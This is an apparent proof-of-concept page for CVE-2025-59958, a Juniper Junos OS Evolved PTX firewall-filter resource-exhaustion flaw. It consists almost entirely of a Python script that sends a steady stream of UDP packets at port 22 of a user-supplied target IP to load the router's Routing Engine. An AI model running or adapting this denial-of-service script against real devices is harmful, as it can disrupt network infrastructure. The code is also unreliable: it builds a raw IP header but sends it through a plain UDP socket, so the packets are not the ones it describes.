CVE-2025-59958 Juniper Junos OS Evolved PTX系列防火墙过滤器异常条件检查缺陷漏洞

# CVE-2025-59958 PoC - Juniper Junos OS Evolved PTX Firewall Filter Reject Resource Exhaustion # This PoC demonstrates triggering the Improper Check for Unusual or Exceptional Conditions # in the PFE by sending packets that match output firewall filter 'reject' terms. import socket import struct import time import sys def build_probe_packet(dst_ip, dst_port=0): """ Build a simple UDP/TCP packet to trigger the 'reject' action in an output firewall filter configured on a PTX Series device. The packet should match a 'reject' term in the output filter. """ # Simple IP header (no actual L2 framing needed for raw socket testing) version_ihl = (4 << 4) | 5 # IPv4, IHL=5 (20 bytes) tos = 0 total_length = 28 # IP header (20) + UDP header (8) identification = 0x1234 flags_offset = 0 ttl = 64 protocol = 17 # UDP checksum = 0 src_ip = socket.inet_aton("10.0.0.1") dst_ip_bytes = socket.inet_aton(dst_ip) ip_header = struct.pack("!BBHHHBBH4s4s", version_ihl, tos, total_length, identification, flags_offset, ttl, protocol, checksum, src_ip, dst_ip_bytes) # UDP header src_port = 12345 udp_length = 8 udp_checksum = 0 udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, udp_checksum) return ip_header + udp_header def exploit(target_ip, duration=60, pps=100): """ Send a continuous stream of packets to trigger resource consumption on the Routing Engine via the erroneous reject-handling path. Args: target_ip: IP address of the target PTX device's WAN/revenue interface duration: How long to send packets (seconds) pps: Packets per second to send """ print(f"[*] Targeting {target_ip}") print(f"[*] Duration: {duration}s, Rate: {pps} pps") print("[*] Sending packets matching output firewall 'reject' terms...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) interval = 1.0 / pps end_time = time.time() + duration count = 0 try: while time.time() < end_time: # Send to a port that would match a 'reject' term # (e.g., a blocked service port configured in the output filter) packet = build_probe_packet(target_ip, dst_port=22) # SSH port commonly rejected sock.sendto(packet, (target_ip, 22)) count += 1 time.sleep(interval) except KeyboardInterrupt: print("\n[!] Interrupted by user") finally: sock.close() print(f"[+] Sent {count} packets in {duration}s") print("[+] Check target RE resource utilization for impact") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [duration] [pps]") print(f"Example: {sys.argv[0]} 192.168.1.1 60 100") sys.exit(1) target = sys.argv[1] dur = int(sys.argv[2]) if len(sys.argv) > 2 else 60 rate = int(sys.argv[3]) if len(sys.argv) > 3 else 100 exploit(target, dur, rate)